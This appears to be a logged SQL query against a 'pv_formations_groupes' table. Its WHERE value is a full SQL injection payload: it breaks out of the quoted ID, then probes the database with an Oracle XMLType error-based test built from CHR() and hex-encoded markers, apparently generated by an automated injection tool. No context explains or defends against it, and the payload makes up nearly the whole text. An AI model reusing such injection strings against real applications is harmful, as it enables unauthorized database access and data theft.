SELECT *
	FROM pv_formations_groupes
	WHERE id_formation_groupe = '-8220 ')AND 3213=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||0x6f794e||(SELECT (CASE WHEN (3213=3213) THEN 1 ELSE 0 END) FROM DUAL)||0x354b4d||CHR(62))) FROM DUAL) AND (0x4e495638 LIKE 'NIV8'